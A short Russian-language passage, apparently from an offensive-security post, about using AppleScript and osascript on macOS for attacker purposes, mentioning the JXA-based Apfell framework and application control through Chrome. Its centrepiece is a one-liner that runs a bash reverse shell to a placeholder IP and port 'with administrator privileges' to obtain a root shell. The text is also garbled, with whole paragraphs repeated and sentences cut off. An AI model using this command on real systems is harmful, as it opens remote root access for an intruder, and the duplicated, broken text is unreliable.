AppleScript — мощный инструмент.
Нужен root shell?
Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.
AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.
Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит
Нужен root shell?
osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"
Нужен контроль над другим приложением?osascript -e 'tell app "Chrome" to display dialog "Hello World"'
(В Mojave нужно дать доступ через меню «Accessibility»)Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.
AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.
Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит
do shell script